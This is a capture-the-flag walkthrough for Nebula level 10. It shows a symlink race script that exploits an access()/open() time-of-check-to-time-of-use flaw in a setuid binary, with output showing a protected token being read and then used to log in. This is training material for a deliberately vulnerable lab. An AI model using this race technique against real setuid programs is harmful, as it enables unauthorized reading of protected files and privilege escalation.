Exploit-Education Nebula Level 10
Exploit Education Level 10
Challenge
The setuid binary at /home/flag10/flag10
binary will upload any file given, as long as it meets the requirements of the
access()
system call.
To do this level, log in as the level10
account with the password level10
. Files for this level can be found in /home/flag10
.
Analysis
Looking at the code we can see that the binary uses port 18211
for uploading the file. Lets start a netcat listner and try
uploading a file
level10@nebula:~$ cd /home/flag10
level10@nebula:/home/flag10$ ls -la
total 14
drwxr-x--- 2 flag10 level10 93 2011-11-20 21:22 .
drwxr-xr-x 1 root root 120 2012-08-27 07:18 ..
-rw-r--r-- 1 flag10 flag10 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag10 flag10 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag10 level10 7743 2011-11-20 21:22 flag10
-rw-r--r-- 1 flag10 flag10 675 2011-05-18 02:54 .profile
-rw------- 1 flag10 flag10 37 2011-11-20 21:22 token
level10@nebula:/home/flag10$ nc -l 18211 >> /home/level10/output &
[1] 3038
level10@nebula:/home/flag10$ echo "test" > /home/level10/test
level10@nebula:/home/flag10$ ./flag10 /home/level10/test 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!
[1]+ Done nc -l 18211 >> /home/level10/output
level10@nebula:/home/flag10$ cat /home/level10/output
.oO Oo.
test
Alright it works. So it copies any files which we have permission to read. But we want to copy token but we don’t have access to token.
Vulnerability
access() syscall vulnerability
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a >security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this >reason, the use of this system call should be avoided.
So the vulnerability is that during the short interval between the access()
syscall and the opening the file we can modify the
file such that we can read the contents of a different file.
In the following code the system checks if we have access to the file and if we do then copies the contents of the file. There is a few
milliseconds gap between the check and the writing of the file. If we use a file which points to a file we have access to using symlink, it will pass the access check
and then if we can change the symlink to point to the token file before the write
we will be able to copy the contents of the token file. Lets see how we can do that.
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
Solution
Lets write a script to use the milliseconds of gap between the access
and write
level10@nebula:~$ echo "fake" >> /tmp/faketoken
level10@nebula:~$ touch sym_link
level10@nebula:~$ cat run.sh
for i in {1..1000}; do nc -l 18211 >> out; done &
for i in {1..1000}; do ln -sf /tmp/faketoken /home/level10/sym_token;ln -sf /home/flag10/token /home/level10/sym_token; done &
for i in {1..1000}; do /home/flag10/flag10 /home/level10/sym_token 127.0.0.1; done &
The first line keeps on starting a netcat
listener and writes the output to a file named out
The second line keeps on changing the symlink
of /home/level10/sym_token
form a file in /tmp
directory to the token
file
The third line keeps on writing the file that is pointed to by the file /home/leve10/sym_token
And within the 1000 iterations we will reach a point at which the file /home/level10/sym_token
will point to the file in tmp
directory when access
is called but will point to token
file when write
call is made
Lets check the contents of out
file
level10@nebula:~$ ./run.sh
level10@nebula:~$ cat out | grep -v "o" | less
fake
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
[Your terminal might keep on writing output. In that case you will have to open a new terminal to see the output]
Lets try logging in using the token we got
level10@nebula:~$ cat out | grep -v "o" | less
level10@nebula:~$ su -l flag10
Password:
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account